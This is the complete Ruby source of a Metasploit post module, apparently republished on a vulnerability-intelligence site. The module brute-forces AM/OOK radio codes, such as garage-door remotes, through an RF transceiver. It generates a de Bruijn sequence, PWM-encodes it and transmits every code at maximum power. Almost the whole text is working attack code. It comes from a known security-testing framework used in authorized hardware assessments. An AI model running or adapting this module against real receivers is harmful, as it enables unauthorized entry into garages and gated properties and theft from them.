Brute Force AM/OOK for RFTranscievers to transmit raw binary signals. Port of rfpwnon tool by Corey Harding
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Post
include Msf::Post::Hardware::RFTransceiver::RFTransceiver
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Brute Force AM/OOK (ie: Garage Doors)',
'Description' => %q{
Post Module for HWBridge RFTranscievers. Brute forces AM OOK or raw
binary signals. This is a port of the rfpwnon tool by Corey Harding.
(https://github.com/exploitagency/github-rfpwnon/blob/master/rfpwnon.py)
},
'License' => MSF_LICENSE,
'Author' => ['Craig Smith'],
'Platform' => ['hardware'],
'SessionTypes' => ['hwbridge']
)
)
register_options([
OptInt.new('FREQ', [true, 'Frequency to transmit on']),
OptInt.new('BAUD', [false, 'Baud rate to use', 2000]),
OptInt.new('BINLENGTH', [false, 'Binary Length of signal to brute force', 8]),
OptInt.new('REPEAT', [false, 'Number of times to repeat the signal', 5]),
OptString.new('PPAD', [false, 'Specify your own binary padding before the brute forced binary', nil]),
OptString.new('TPAD', [false, 'Specify your own binary padding after the brute forced binary', nil]),
OptBool.new('RAW', [false, 'When set, disables PWM encoding. BINLENGTH must be -1', false]),
OptBool.new('TRI', [false, 'When set, brute foces a trinary signal.', false]),
OptBool.new('EXTRAVERBOSE', [false, 'More verbose', false]),
OptInt.new('INDEX', [false, 'USB Index to use', 0]),
OptInt.new('DELAY', [false, 'Delay in milliseconds between transmissions', 500])
])
@zeropwm = '1110'
@onepwm = '1000'
@brutechar = '01'
end
# @param key [String] binary/trinary represntation
# @return [Array] ByteArray
def convert_ook(key)
pwm_str_key = ''
key.each_char do |k|
x = '*'
case k
when '0'
x = @zeropwm
when '1'
x = @onepwm
when '2'
x = @twopwm
end
pwm_str_key += x
end
return pwm_str_key.scan(/.{1,8}/).collect { |x| x.to_i(2).chr }
end
def debruijn_bytes(k, n)
@a = [0]
@sequence = []
debruijn(1, 1, k, n)
return @sequence.join
end
def debruijn(t, p, k, n)
if t > n
if n % p == 0
1.upto(p) { |j| @sequence << @a[j] }
end
else
@a[t] = @a[t - p]
debruijn(t + 1, p, k, n)
(@a[t - p] + 1).upto(k - 1) do |j|
@a[t] = j
debruijn(t + 1, t, k, n)
end
end
end
def run
unless is_rf?
print_error('Not an RF Transceiver')
return
end
unless set_index(datastore['INDEX'])
print_error("Couldn't set usb index to #{datastore['INDEX']}")
return
end
if datastore['TRI']
@zeropwm = '10001000'
@onepwm = '11101110'
@twopwm = '10001110'
@brutechar = '012'
end
set_modulation('ASK/OOK')
set_freq(datastore['FREQ'])
set_sync_mode(0)
set_baud(datastore['BAUD'])
max_power
print_status('Generating de bruijn sequence...')
seq = debruijn_bytes(@brutechar.length, datastore['BINLENGTH'])
tail = seq[0, datastore['BINLENGTH'] - 1]
brutepacket = seq + tail
print_status("Brute forcing frequency: #{datastore['FREQ']}")
print_status("Padding before binary: #{datastore['PPAD']}") if datastore['PPAD']
print_status("Padding after binary: #{datastore['TPAD']}") if datastore['TPAD']
print_status("De Bruijin Sequence: #{brutepacket}") if datastore['EXTRAVERBOSE']
startn = 0
endy = 512
brutepackettmp = ''
addr = 512
if datastore['TRI']
endy = 128
addr = 128
end
if datastore['REPEAT'] >= 2 || datastore['PPAD'] || datastore['TPAD']
endy = datastore['BINLENGTH']
addr = 1
end
# Transmit
while startn < brutepacket.length
(0..datastore['REPEAT'] - 1).each do |_i|
brutepackettemp = brutepacket[startn..endy - 1]
next if brutepackettemp.length < datastore['BINLENGTH']
# Pad if asked to
brutepackettemp = datastore['PPAD'] + brutepackettemp if datastore['PPAD']
brutepackettemp += datastore['TPAD'] if datastore['TPAD']
if datastore['RAW']
key_packed = brutepackettemp.scan(/.{1,8}/).collect { |x| x.to_i(2).chr }
else
key_packed = convert_ook(brutepackettemp)
end
print_status('Transmitting...')
set_flen(key_packed.length)
rfxmit(key_packed.join)
print_status('Binary before PWM encoding:')
print_status(brutepackettemp.to_s)
print_status('Binary after PWM encoding:')
print_status(key_packed.join.unpack('H*')[0].hex.to_s(2).to_s)
sleep(datastore['DELAY'] / 1000) if datastore['DELAY'] > 0
end
if (datastore['REPEAT'] >= 2) || datastore['PPAD'] || datastore['TPAD']
startn += addr
endy += addr
else
startn = startn + addr - datastore['BINLENGTH']
endy = endy + addr - datastore['BINLENGTH']
end
end
print_status('Done')
set_mode('IDLE')
end
end
Transform Your Security Services
Elevate your offerings with Vulners' advanced Vulnerability Intelligence. Contact us for a demo and discover the difference comprehensive, actionable intelligence can make in your security strategy.
Book a live demo